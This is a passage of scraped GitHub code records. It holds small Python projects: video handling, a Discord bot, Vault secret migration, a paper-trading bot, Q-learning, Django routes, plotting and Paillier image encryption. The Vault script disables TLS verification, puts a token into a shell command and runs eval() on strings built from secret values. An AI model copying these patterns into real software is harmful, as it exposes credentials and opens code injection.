"usage_type": "attribute"}, {"api_name": "tensorflow.contrib.tpu.RunConfig", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.tpu.TPUConfig", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 24, "usage_type": "attribute"}, {"api_name": "globals.NUM_TPU_CORES", "line_number": 25, "usage_type": "name"}, {"api_name": "read_sequence.read_sequence", "line_number": 28, "usage_type": "call"}, {"api_name": "ex_to_features.convert_examples_to_features", "line_number": 30, "usage_type": "call"}, {"api_name": "globals.MAX_SEQ_LENGTH", "line_number": 31, "usage_type": "name"}, {"api_name": "model_func_builder.model_fn_builder", "line_number": 39, "usage_type": "call"}, {"api_name": "globals.INIT_CHECKPOINT", "line_number": 41, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.estimator.tpu.TPUEstimator", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 48, "usage_type": "attribute"}, {"api_name": "globals.BATCH_SIZE", "line_number": 52, "usage_type": "name"}, {"api_name": "globals.BATCH_SIZE", "line_number": 53, "usage_type": "name"}, {"api_name": "model_func_builder.input_fn_builder", "line_number": 56, "usage_type": "call"}, {"api_name": "globals.MAX_SEQ_LENGTH", "line_number": 57, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}]} {"seq_id": "31061294794", "text": "import logging\nimport pyvideo\nfrom pyvideo.exceptions import MediaException\n\nlogger = logging.getLogger(__name__)\n\nclass VideoException(Exception):\n pass\n\nclass VideoLoadException(VideoException, IOError):\n pass\n\nclass VideoInfo(object):\n width = None\n height = None\n audio_channels = None\n audio_samplerate = None\n fps = None\n duration = None\n\n def __init__(self, width, height, fps, channels, samplerate, duration):\n self.width = width\n self.height = height\n self.audio_channels = channels\n self.audio_samplerate = samplerate\n self.fps = fps\n self.duration = duration\n\n def __unicode__(self):\n return self.__str__()\n\n def __str__(self):\n return \"[V:%sx%s %s fps][A:%sch %sHz] %s s\" % (self.width, self.height, self.fps, self.audio_channels, self.audio_samplerate, self.duration)\n\nclass VideoFile(object):\n info = None\n _current_frame = None\n _current_frame_timestamp = None\n _fps = None\n\n def __init__(self, filepath, keyframes_only = False):\n self.filepath = unicode(filepath)\n self.load(keyframes_only)\n\n def load(self, keyframes_only=False):\n try:\n self.source = pyvideo.load(self.filepath, keyframes_only=keyframes_only)\n except MediaException as e:\n raise VideoLoadException(\"Unknown video format.\\n%s\" % (e,))\n except IOError as e:\n raise VideoLoadException(\"Could not load video file.\\n%s\" % (e,))\n\n self._determine_fps()\n self.info = VideoInfo(self.source.video_format.width,\n self.source.video_format.height,\n self._fps,\n self.source.audio_format.channels,\n self.source.audio_format.sample_rate,\n self.source.duration)\n\n def seek_to(self, timestamp):\n self.source.seek(timestamp)\n\n def get_frame(self):\n # Try to get next un-broken frame\n while self._current_frame is None:\n if self._current_frame_timestamp is None:\n break\n self.get_next_frame()\n\n return self._current_frame_timestamp, self._current_frame\n\n def get_next_frame(self):\n self._current_frame_timestamp = self.source.get_next_video_timestamp()\n self._current_frame = self.source.get_next_video_frame()\n return self._current_frame_timestamp, self._current_frame\n\n def get_audio_data(self):\n return self.source.get_audio_data()\n\n def _determine_fps(self):\n \"\"\"\n This consumes one frame to determine FPS\n \"\"\"\n while self._current_frame_timestamp is None and self._current_frame is None:\n self.get_next_frame()\n\n current_timestamp = self._current_frame_timestamp\n diff = self.source.get_next_video_timestamp() - current_timestamp\n self._fps = 1.0 / diff\n return self._fps\n\n def get_info(self):\n return self.info", "repo_name": "viidea/slidesync", "sub_path": "video.py", "file_name": "video.py", "file_ext": "py", "file_size_in_byte": 3000, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "pyvideo.load", "line_number": 47, "usage_type": "call"}, {"api_name": "pyvideo.exceptions.MediaException", "line_number": 48, "usage_type": "name"}]} {"seq_id": "71950114782", "text": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, TypeAlias\n\nimport discord\nfrom discord.ext import commands\n\nfrom constants import GUILD_ID, Roles\n\nif TYPE_CHECKING:\n from .bot import Bot\n\n\n__all__ = (\n \"Context\",\n \"GuildContext\",\n \"Interaction\",\n)\n\n\nInteraction: TypeAlias = discord.Interaction[\"Bot\"]\n\n\nclass Context(commands.Context[\"Bot\"]):\n @discord.utils.cached_property\n def replied_reference(self) -> discord.MessageReference | discord.Message:\n ref = self.message.reference\n if ref and isinstance(ref.resolved, discord.Message):\n return ref.resolved.to_reference(fail_if_not_exists=False)\n return self.message\n\n @discord.utils.cached_property\n def replied_message(self) -> discord.Message | discord.Message:\n ref = self.message.reference\n if ref and isinstance(ref.resolved, discord.Message):\n return ref.resolved\n return self.message\n\n def author_is_mod(self) -> bool:\n member: discord.Member\n\n if self.guild is None: # dms\n guild = self.bot.get_guild(GUILD_ID)\n\n if not guild:\n return False\n\n _member = guild.get_member(self.author.id)\n if _member is not None:\n member = _member\n\n else:\n return False\n\n else:\n member = self.author # type: ignore\n\n roles = member._roles # type: ignore # we know this won't change for a while\n return roles.has(Roles.ADMIN) or roles.has(Roles.MODERATOR)\n\n\nclass GuildContext(Context):\n guild: discord.Guild # type: ignore # type lie due to narrowing\n author: discord.Member # type: ignore # type lie due to narrowing\n", "repo_name": "PythonistaGuild/Pythonista-Bot", "sub_path": "core/context.py", "file_name": "context.py", "file_ext": "py", "file_size_in_byte": 1729, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.TypeAlias", "line_number": 21, "usage_type": "name"}, {"api_name": "discord.Interaction", "line_number": 21, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Context", "line_number": 24, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 24, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 28, "usage_type": "attribute"}, {"api_name": "discord.utils", "line_number": 25, "usage_type": "attribute"}, {"api_name": "discord.MessageReference", "line_number": 26, "usage_type": "attribute"}, {"api_name": "discord.Message", "line_number": 26, "usage_type": "attribute"}, {"api_name": "discord.Message", "line_number": 35, "usage_type": "attribute"}, {"api_name": "discord.utils", "line_number": 32, "usage_type": "attribute"}, {"api_name": "discord.Message", "line_number": 33, "usage_type": "attribute"}, {"api_name": "discord.Member", "line_number": 40, "usage_type": "attribute"}, {"api_name": "constants.GUILD_ID", "line_number": 43, "usage_type": "argument"}, {"api_name": "constants.Roles.ADMIN", "line_number": 59, "usage_type": "attribute"}, {"api_name": "constants.Roles", "line_number": 59, "usage_type": "name"}, {"api_name": "constants.Roles.MODERATOR", "line_number": 59, "usage_type": "attribute"}, {"api_name": "discord.Guild", "line_number": 63, "usage_type": "attribute"}, {"api_name": "discord.Member", "line_number": 64, "usage_type": "attribute"}]} {"seq_id": "8469945866", "text": "import yaml\nimport hvac\nimport os\n\nclient = hvac.Client(url=\"https://%s\" % os.getenv(\"EAST_VAULT_ADDR\"), token=os.getenv(\"EAST_VAULT_TOKEN\"), verify=False)\nlist = client.list_secret_backends()\nfor item in list:\n if \"sys\" not in item and \"cubbyhole\" not in item and \"request_id\" not in item and \"lease_id\" not in item \\\n and \"renewable\" not in item and \"lease_duration\" not in item and \"data\" not in item and \"wrap_info\" not in item \\\n and \"warnings\" not in item and \"auth\" not in item and \"identity\" not in item:\n clean_key = str(item).replace(\"/\", \"\")\n os.system(\"rvault read %s -a https://%s -t %s -f yaml | tail -n +2 > %s.yml\" % (clean_key, os.getenv(\"WEST_VAULT_ADDR\"), os.getenv(\"WEST_VAULT_TOKEN\"), clean_key))\n with open(\"%s.yml\" % clean_key, 'r') as stream:\n data_loaded = yaml.safe_load(stream)\n if data_loaded is not \"\":\n for secret in data_loaded:\n string=\"\"\n if \"1\" in str(list[item][\"options\"]):\n string = \"client.write(path=\"\n string += '\"/%s%s\"' % (clean_key, secret)\n elif \"2\" in str(list[item][\"options\"]):\n string = \"client.secrets.kv.v2.create_or_update_secret(mount_point='%s', path=\" % clean_key\n string += '\"%s\"' % secret\n ca = \"\"\n private_key = \"\"\n private = \"\"\n public = \"\"\n certificate = \"\"\n type_cert = \"\"\n if \"1\" in str(list[item][\"options\"]):\n print(\"Version 1\")\n elif \"2\" in str(list[item][\"options\"]):\n string += \", \"\n string += \"secret=dict(\"\n for key in data_loaded[secret]:\n if \"ca\" in str(key) or \"certificate\" in str(key) or \"private_key\" in str(key) or \"private\" in str(key)or \"public\" in str(key):\n type_cert = True\n if \"ca\" == str(key):\n ca = data_loaded[secret][key]\n elif \"certificate\" == str(key):\n certificate = data_loaded[secret][key]\n elif \"private_key\" == str(key):\n private_key = data_loaded[secret][key]\n elif \"private\" == str(key):\n private = data_loaded[secret][key]\n elif \"public\" == str(key):\n public = data_loaded[secret][key]\n else:\n if \"1\" in str(list[item][\"options\"]):\n string += \", \"\n string += key\n string += \"=\"\n string += '\"%s\"' % data_loaded[secret][key]\n elif \"2\" in str(list[item][\"options\"]):\n string += \", \"\n string += key\n string += \" = \"\n string += '\"%s\"' % data_loaded[secret][key]\n if type_cert is True:\n if certificate is not \"\":\n string += \", \"\n string += \"certificate\"\n string += \"=\"\n string+='\"%s\" % certificate'\n if ca is not \"\":\n string += \", \"\n string += \"ca\"\n string += \"=\"\n string+='\"%s\" % ca'\n if private_key is not \"\":\n string += \", \"\n string += \"private_key\"\n string += \"=\"\n string+='\"%s\" % private_key'\n if private is not \"\":\n string += \", \"\n string += \"private\"\n string += \"=\"\n string+='\"%s\" % private'\n if public is not \"\":\n string += \", \"\n string += \"public\"\n string += \"=\"\n string+='\"%s\" % public'\n string+=\")\"\n if \"1\" in str(list[item][\"options\"]):\n print(\"Version 1\")\n elif \"2\" in str(list[item][\"options\"]):\n string+=\")\"\n run_string = string.replace(\"dict(, \", \"dict(\")\n eval(run_string)", "repo_name": "Mwilloughby1982/MandM_dev", "sub_path": "scripts/update.py", "file_name": "update.py", "file_ext": "py", "file_size_in_byte": 4522, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "hvac.Client", "line_number": 5, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 5, "usage_type": "call"}, {"api_name": "os.system", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 12, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 14, "usage_type": "call"}]} {"seq_id": "11815334560", "text": "# trading_bot.py - Python program to trade stocks using Alpaca API\n# 4/4/2022\n# Meshal Albaiz\n\nimport alpaca_trade_api as tradeapi # trading API\nimport time # time functions\nfrom symbols import symbol_list # python file with list of stock market tickers\nfrom dictionary_symbols import * # python dictionary of symbols and order information\nimport math # math functions\nfrom datetime import datetime # time and date functions\nimport pytz # python timezone library\n\nSEC_KEY = 'XXXX' # secret and public keys for the Alpaca API\nPUB_KEY = 'XXXX'\nBASE_URL = 'https://paper-api.alpaca.markets' # URL to access API\napi = tradeapi.REST(key_id= PUB_KEY, secret_key=SEC_KEY, base_url=BASE_URL) # API object\n\nnow = pytz.utc.localize(datetime.utcnow()) # current time UTC\ntz = pytz.timezone(\"America/New_York\") # New York timezone\nny_time = now.astimezone(tz) # convert time to NY timezone\nhour = ny_time.hour # hour in NY\nminute = ny_time.minute # minute in NY\nday = ny_time.weekday() # day in NY\n\n# time and day checks to only trade Mon-Fri 9:35AM to 3:55PM\ntime_check = (hour == 9 and minute >= 35) or (hour == 15 and minute < 56) or (15 > hour > 9)\nday_check = 0 <= day < 5\n\ndef selling(): # function to sell held position\n for symbol in symbol_list: # for every ticker in list\n position = get_pos(symbol) # get position of company\n if position != False: # if position exists\n if(get_position_csv(symbol)['held'] == \"True\"): # if sell order was not placed then order sell\n cost = float(position.avg_entry_price) # get cost of position\n price = str(truncate(cost*1.01, 2)) # set selling price at 1% more\n sell(symbol, \"1\", price) # sell 1 stock\n\ndef buying(): # function to buy unheld position\n for symbol in symbol_list: # for every ticker in list\n position = get_pos(symbol) # get position of company\n if position == False: # if position doesn't exist\n if(get_position_csv(symbol)['held'] == \"False\"): # if buy order was not placed then order buy\n buy(symbol, \"1\") # buy 1 stock at market price\n\ndef get_pos(symbol): # function to get held positions through API\n try:\n pos = api.get_position(symbol) # get position of symbol\n return pos # retrun position\n except:\n return False # return False if position does not exist\n\ndef sell(symbol, qty, price): # function to place sell order\n try: # try to submit sell order\n api.submit_order(\n symbol=symbol,\n qty=qty,\n limit_price=price,\n side='sell',\n type='limit',\n time_in_force='gtc'\n )\n update_position(symbol, \"False\") # update position in CSV file to indicate sell order was placed\n except:\n return False\n\ndef buy(symbol, qty): # function to place buy order\n try: # try to submit buy order\n api.submit_order(\n symbol=symbol,\n qty=qty,\n side='buy',\n type='market',\n time_in_force='day'\n )\n update_position(symbol, \"True\") # update position in CSV file to indicate buy order was placed\n except:\n return False\n\ndef get_price(symbol): # function to get price of specific stock\n price_data = api.get_bars(symbol, tradeapi.TimeFrame.Minute, limit=1)\n return price_data\n\ndef truncate(number, digits) -> float: # function to truncate float decimal value\n stepper = 10.0 ** digits\n return math.trunc(stepper * number) / stepper\n\n\nif(time_check and day_check): # if market is open\n selling() # place sell orders for all held positions\n buying() # place buy orders for all unheld positions\n", "repo_name": "mish3albaiz/trading-bot", "sub_path": "trading_bot.py", "file_name": "trading_bot.py", "file_ext": "py", "file_size_in_byte": 3672, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "alpaca_trade_api.REST", "line_number": 16, "usage_type": "call"}, {"api_name": "pytz.utc.localize", "line_number": 18, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 18, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 19, "usage_type": "call"}, {"api_name": "symbols.symbol_list", "line_number": 30, "usage_type": "name"}, {"api_name": "symbols.symbol_list", "line_number": 39, "usage_type": "name"}, {"api_name": "alpaca_trade_api.TimeFrame", "line_number": 80, "usage_type": "attribute"}, {"api_name": "math.trunc", "line_number": 85, "usage_type": "call"}]} {"seq_id": "22463664808", "text": "# %%\nimport random\nimport numpy as np\nimport gym\nimport matplotlib.pyplot as plt\n\n# %% \nclass QStatistics:\n \n def __init__(self):\n self.rewards = []\n self.explorationRate = []\n self.stepsPerEpoch = []\n self.exploredAtEpoch = 0\n self.stepsAtEpoch = 0\n self.rewardsAtEpoch = 0\n\n def NextEpoch(self):\n self.rewards.append(self.rewardsAtEpoch)\n self.explorationRate.append(self.exploredAtEpoch)\n self.stepsPerEpoch.append(self.stepsAtEpoch)\n\n self.exploredAtEpoch = 0\n self.stepsAtEpoch = 0\n self.rewardsAtEpoch = 0\n \n def StepTaken(self, reward):\n self.rewardsAtEpoch+=reward\n self.stepsAtEpoch+=1\n\n def Explored(self):\n self.exploredAtEpoch+=1\n\n\n# %%\nclass ExpTradeOff:\n def __init__(self, startEpsilon, endEpsilon, decayRate):\n self.epsilon = startEpsilon\n self.startEpsilon = startEpsilon\n self.endEpsilon = endEpsilon\n self.decayRate = decayRate\n\n def NextEpoch(self, epoch):\n self.epsilon = self.endEpsilon + (self.startEpsilon - self.endEpsilon) * np.exp(-self.decayRate * epoch)\n def ShouldExplore(self):\n threshold = random.uniform(0,1)\n return threshold < self.epsilon\n\n# %%\nfrozenLake = gym.make(\"FrozenLake-v0\")\n\n# %%\nepochs = 50*1000\nmaxSteps = 99\n\nlearningRate = 0.8\ngamma = 0.95\n\n# %%\nactionSize = frozenLake.action_space.n\nstateSize = frozenLake.observation_space.n\nqtable = np.zeros((stateSize, actionSize))\nexpTradeOff = ExpTradeOff(1.0, 0.01, 0.005)\n\n# statistics\nstat = QStatistics()\n\nfor epoch in range(epochs):\n state = frozenLake.reset()\n step = 0\n done = False\n for step in range(maxSteps):\n if expTradeOff.ShouldExplore():\n action = frozenLake.action_space.sample()\n stat.Explored()\n else:\n action = np.argmax(qtable[state,:])\n \n newState, reward, done, info = frozenLake.step(action)\n qtable[state,action] = qtable[state,action] + learningRate * (reward + gamma * np.max(qtable[newState,:])-qtable[state,action])\n stat.StepTaken(reward)\n state = newState\n\n if done:\n break\n\n expTradeOff.NextEpoch(epoch)\n stat.NextEpoch()\n# %%\nprint(qtable[:2,:])\nprint (\"Score over time: \" + str(sum(stat.rewards)/epochs))\nplt.plot(stat.rewards)\n#%%\nprint (\"Exploration/exploitation trade-off\")\nplt.plot(stat.explorationRate)\n\n# %% \nprint (\"Steps per epoch\")\nplt.plot(stat.stepsPerEpoch)\n# %%\ntotalReward = 0\nfor episode in range(1000):\n state = frozenLake.reset()\n step = 0\n done = False\n frozenLake.render()\n\n for step in range(maxSteps):\n action = np.argmax(qtable[state,:])\n new_state, reward, done, info = frozenLake.step(action)\n if done:\n frozenLake.render()\n totalReward += reward # reward is 1 for the target cell, otherwise 0\n print(\"Steps taken: \",step)\n break\n # frozenLake.render()\n state = new_state\nprint(\"\\nTotalReward:\", totalReward)\nprint(\"\\nover\")\n\n# %%\nfrozenLake.close()\n# %%\n", "repo_name": "valitovrus/studying-rl", "sub_path": "Q-Learning/FrozenLake.py", "file_name": "FrozenLake.py", "file_ext": "py", "file_size_in_byte": 3097, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.exp", "line_number": 44, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 46, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 109, "usage_type": "call"}]} {"seq_id": "74082451423", "text": "from django.urls import path\nfrom django.contrib.auth import views as auth_views\nfrom . import views\nfrom .views import ReservationDetailView, ReservationCreateQuickView, ReservationUpdateView, ReservationDeleteView\nfrom .views import extendCreateView\n#from .views import ReservationListView\n#from .views import ReservationListView\n\n\n# just for the test run on server\nurlpatterns = [\n path('home/', views.home, name=\"home\"),\n path('register/', views.register, name=\"register\"),\n path('profile/', views.profile, name=\"profile\"),\n path('login/', auth_views.LoginView.as_view(template_name = 'reservations/login.html'), name=\"login\"),\n path('logout/', auth_views.LogoutView.as_view(template_name='reservations/logout.html'), name=\"logout\"),\n path('restaurants/', views.restaurants, name=\"restaurants\"),\n path('restaurant_details//', views.restaurant_details, name=\"restaurant_detail\"),\n path('reservation//', ReservationDetailView.as_view(), name='reservation_details'),\n path('reservation//update/', ReservationUpdateView.as_view(), name='reservation_update'),\n path('reservation//delete/', ReservationDeleteView.as_view(), name='reservation_delete'),\n path('reservation/new/', extendCreateView.as_view(), name='reservation_create'),\n path('reservation/quickSearch/', ReservationCreateQuickView.as_view(), name='reservation_quickSearch'),\n path('newrestaurant/', views.new_restaurant, name=\"new_restaurant\"),\n # path('profile/', ReservationDetailView.as_view(), name=\"reservation_detail\")\n]", "repo_name": "alexMCTeng/Website-Development", "sub_path": "RestaurantReservationWeb/mysite/reservations/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1571, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.home", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "views.register", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "views.profile", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LoginView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LoginView", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LogoutView.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "django.contrib.auth.views.LogoutView", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "views.restaurants", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "views.restaurant_details", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "views.ReservationDetailView.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "views.ReservationDetailView", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "views.ReservationUpdateView.as_view", "line_number": 20, "usage_type": "call"}, {"api_name": "views.ReservationUpdateView", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "views.ReservationDeleteView.as_view", "line_number": 21, "usage_type": "call"}, {"api_name": "views.ReservationDeleteView", "line_number": 21, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "views.extendCreateView.as_view", "line_number": 22, "usage_type": "call"}, {"api_name": "views.extendCreateView", "line_number": 22, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "views.ReservationCreateQuickView.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "views.ReservationCreateQuickView", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "views.new_restaurant", "line_number": 24, "usage_type": "attribute"}]} {"seq_id": "41657220865", "text": "import plotly.plotly as py\nimport plotly.graph_objs as go\nfrom collections import defaultdict\n\ndef histo(string):\n \"\"\"takes string, returns dict of wordlength vs percent frequency\"\"\"\n string=stripper(string)\n liststring=string.split()\n lens=list(map(len,liststring))\n #at this point we have a list of the lengths of each word\n counts=counter(lens)\n return counts\n\ndef counter(a): \n \"\"\"takes list of word lengths, gives frequency of each length\"\"\"\n counts=defaultdict(int) \n for length in a: \n counts[length]+=1 \n return counts\n\ndef stripper(a):\n \"\"\"the pattented grammer stripper 3000. Takes out the grammar from the string\"\"\"\n chars=['\"','(',')','.','?','!',';','-','--',',',':'] \n for i in chars: \n a=a.replace(i,'') \n return a\n\ndef makehisto(*args):\n \"\"\"take variable numbers of strings, use histo to make a list of dicts of wordlength vs frequency, then converts that to a bar graph with plotly\"\"\"\n titles=(input('what are the titles, in order: ')) \n titles=titles.split()\n wordlendicts=[] \n for i in args: \n wordlendicts.append(histo(i))\n data=[]\n kys=[]\n vls=[] \n for i in wordlendicts: \n kys.append(list(i.keys())) \n vls.append(list(i.values()))\n for n,(k,v) in enumerate(zip(kys,vls)): \n data.append(go.Bar(x=k,y=v,name=titles[n])) \n layout=go.Layout(barmode='group',\n yaxis=dict(title='percent frequency of occurence'),\n xaxis=dict(title='length of word'))\n fig=go.Figure(data=data,layout=layout) \n py.plot(fig,filename=str(titles))\n", "repo_name": "thomas-davis/School_work", "sub_path": "first_learning_python/wordlen_grapher-master/histo.py", "file_name": "histo.py", "file_ext": "py", "file_size_in_byte": 1448, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.defaultdict", "line_number": 16, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Bar", "line_number": 42, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 42, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 43, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 43, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Figure", "line_number": 46, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 46, "usage_type": "name"}, {"api_name": "plotly.plotly.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "plotly.plotly", "line_number": 47, "usage_type": "name"}]} {"seq_id": "21217428219", "text": "from copy import copy\nfrom dataclasses import dataclass\nfrom xml.etree.ElementTree import tostring\nimport PIL\nimport cv2\nfrom pandas import array, wide_to_long\nimport phe\nfrom phe import paillier\nfrom PIL import Image,ImageOps\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\npublic_key, private_key = paillier.generate_paillier_keypair()\n\n\n\n\n\nimg=Image.open(\"lenna128_noised.png\")\nimg=ImageOps.grayscale(img)\nheight,width=img.size\nprint(height,width)\n\nimgcv=cv2.imread(\"lenna128_noised.png\",0)\n \ndef encryptImage(img_n):\n my_array = [[0]*height]*width\n img_data=np.asarray(img_n)\n for i in range(0, height):\n my_array[i]=[public_key.encrypt(int(x),None,None) for x in img_data[i]]\n return my_array\n\n\ndef decryptImage(my_array):\n my_array_dec = [[0]*height]*width\n for i in range(0, height):\n my_array_dec[i]=[private_key.decrypt(x) for x in my_array[i]]\n my_array_nolist=np.array(my_array_dec)\n im=Image.fromarray((255-my_array_nolist * 255).astype('uint8'), mode='L')\n #nu salveaza bine, face poza neagra, incerc rezolv\n return im\n\n\n\n#trebe testatae cu imaginea citita cu Image.open, nu cu cv2.open\ndef control_brightness_image(myimg,brightness=0):\n myimg=myimg+brightness\n return myimg\n\ndef control_brightness_crypted(myimg_Array, brightness=0):\n for i in range(0, height):\n for j in range(0,width):\n myimg_Array[i][j]=myimg_Array[i][j]+ brightness\n return myimg_Array\n\ndef image_negation_image(myimg): \n myimg=255-myimg\n return myimg\ndef image_negation_crypted(myimg_Array):\n for i in range(0, height):\n for j in range(0,width):\n myimg_Array[i][j]=255-myimg_Array[i][j]\n return myimg_Array\n\n\ndef encrypt_image_second(img, public_key): \n shape = img.shape\n img = img.flatten()\n img_enc = []\n for i in range(len(img)):\n tmp = public_key.encrypt(int(img[i]))\n img_enc.append(tmp)\n x = private_key.decrypt(tmp)\n return np.reshape(img_enc, shape)\n\ndef decrypt_image_second(img, private_key):\n shape = img.shape\n img = img.flatten()\n img_dec = []\n for i in range(len(img)):\n tmp = private_key.decrypt(img[i])\n img_dec.append(tmp) \n return np.reshape(np.array(img_dec).astype(np.uint8), shape)\n\ndef secure_noise_reduction_image(myimg):\n imgnou=myimg.copy()\n cv2.fastNlMeansDenoising(myimg,imgnou,h=10)\n return imgnou\n\n\ndef secure_noise_reduction_crypted(myimg,kernel_size):\n myimg = np.array(myimg)\n img_filtered = myimg.copy()\n (n, m) = myimg.shape\n offset = kernel_size // 2\n for i in range(offset, n-offset, 1):\n for j in range(offset, m-offset, 1):\n window = myimg[i-offset:i+offset+1, j-offset:j+offset+1]\n img_filtered[i][j] = np.mean(window)\n return img_filtered\n \n\ndef edge_detection_image(myimg):\n edges = cv2.Canny(myimg,50,150)\n return edges\n\ndef edge_detection_encrypted(myimage):\n nonoiseimg=secure_noise_reduction_crypted(myimage,3)\n edges=myimage-nonoiseimg\n return edges\n\n\n \nimg2=imgcv.copy()\n#img_encrypted=encryptImage(img)\n\n\n# img_encrypted_plus_brig=control_brightness_crypted(img_encrypted,100)\n#img_plus_brig=control_brightness_image(img2,100)\n\n#img_encrypted_negate=image_negation_crypted(img_encrypted)\n#img_negate=image_negation_image(img2)\n\n\n# img_enc=encrypt_image_second(imgcv,public_key)\n# img_noise_reduction=secure_noise_reduction_image(img2)\n# img_noise_encrypted=secure_noise_reduction_crypted(img_enc,3)\n# img_dec=decrypt_image_second(img_noise_encrypted,private_key)\n\nimg_enc=encrypt_image_second(imgcv,public_key)\nimg_edge=edge_detection_image(img2)\nimg_edge_encrypted=edge_detection_encrypted(img_enc)\nimg_dec=decrypt_image_second(img_edge_encrypted,private_key)\n\n\n#img_decrypted=decryptImage(img_noise_encrypted)\n\nfig=plt.figure()\nfig.add_subplot(1,3,1)\nplt.imshow(imgcv, cmap='gray')\nfig.add_subplot(1,3,2)\nplt.imshow(img_edge,cmap='gray')\nfig.add_subplot(1,3,3)\nplt.imshow(img_dec,cmap='gray')\n\nplt.show()", "repo_name": "Dian68/CryptoImg", "sub_path": "TemaMultimedia/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3971, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "phe.paillier.generate_paillier_keypair", "line_number": 14, "usage_type": "call"}, {"api_name": "phe.paillier", "line_number": 14, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 20, "usage_type": "name"}, {"api_name": "PIL.ImageOps.grayscale", "line_number": 21, "usage_type": "call"}, {"api_name": "PIL.ImageOps", "line_number": 